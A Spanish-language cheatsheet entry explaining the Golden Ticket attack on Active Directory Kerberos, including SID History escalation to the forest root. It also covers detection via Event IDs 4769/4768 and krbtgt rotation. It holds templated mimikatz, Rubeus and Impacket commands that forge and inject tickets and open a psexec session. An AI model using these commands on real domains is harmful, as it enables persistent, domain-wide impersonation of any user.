Golden Ticket
Arsenal completo de comandos en la cheatsheetUn Golden Ticket es un TGT falsificado por nosotros: en lugar de pedírselo al KDC, lo fabricamos firmándolo con la clave de la cuenta krbtgt del dominio. Como el KDC confía en cualquier TGT que pueda descifrar con esa clave, un ticket forjado con el hash de krbtgt es indistinguible de uno legítimo y nos deja pasar por cualquier usuario, con cualquier pertenencia de grupo.
Por qué funciona. Todo TGT va cifrado y firmado con la clave del krbtgt. El KDC no guarda una copia de los tickets emitidos: si te presentas con un TGT que descifra bien, lo da por bueno y lee de su interior tu identidad y tus grupos (el PAC). Quien tenga el hash NT del krbtgt puede, por tanto, escribir un TGT a medida (por ejemplo, metiéndose en Domain Admins) y el dominio lo aceptará. Ese hash se obtiene de un DCSync o de un volcado del NTDS, así que un Golden Ticket no es el foothold, es la persistencia que viene después de comprometer el dominio.
El abuso. Con el hash del krbtgt y el SID del dominio se forja el ticket y se inyecta en memoria (/ptt). El campo sids permite añadir un SID extra: es el abuso de SID History, la técnica del salto hijo → padre, donde se añade el SID del grupo Enterprise Admins del dominio raíz para mandar en todo el bosque.
# Windows: forjar e inyectar con mimikatz o Rubeus
kerberos::golden /user:<user> /domain:<domain> /sid:<domain-sid> /krbtgt:<hash-krbtgt> /sids:<sid-extra> /ptt
Rubeus.exe golden /rc4:<hash-krbtgt> /domain:<domain> /sid:<domain-sid> /sids:<sid-extra> /user:<user> /ptt
Rubeus.exe golden /aes256:<aes-krbtgt> /domain:<domain> /sid:<domain-sid> /user:<user> /ptt # AES: mas sigiloso que RC4
# Linux: con Impacket, exportar el ccache y usarlo con Kerberos (-k -no-pass)
ticketer.py -nthash <hash-krbtgt> -domain-sid <domain-sid> -domain <domain> -extra-sid <sid-extra> <user>
export KRB5CCNAME=<user>.ccache
psexec.py <domain>/<user>@<dc> -k -no-pass -target-ip <ip>Requisitos. Hace falta el hash NT (o la clave AES) del krbtgt y el SID del dominio; ambos salen de un compromiso previo del DC (DCSync). Sin el hash del krbtgt no hay Golden Ticket. El krbtgt casi nunca rota su contraseña, de ahí que el ticket dure meses o años.
Cómo detectarlo. Un TGT forjado no pasó por el AS-REQ inicial, así que en el DC aparece un Event ID 4769 (se solicitó un TGS) sin su 4768 (se solicitó un TGT) previo para esa cuenta: se usa un ticket que el KDC nunca emitió. Otras señales: tickets con tiempos de vida anómalos (mimikatz por defecto ponía 10 años), nombres de usuario que no existen en el directorio pero presentan tickets válidos, y RC4 (0x17) donde el dominio ya opera solo con AES. Correlacionar el uso de una cuenta privilegiada con la ausencia de su 4768 es la firma de más peso.
Defensa. Rotar dos veces la contraseña de krbtgt (invalida los tickets existentes) de forma periódica y tras cualquier sospecha de compromiso del DC; proteger el DC y la base NTDS para que el hash no se filtre; y vigilar cuentas privilegiadas por el patrón 4769-sin-4768. Comparte objetivo con el Silver Ticket (que falsifica un TGS de servicio, sin tocar el krbtgt) y depende de que antes haya un DCSync o un volcado de LSASS.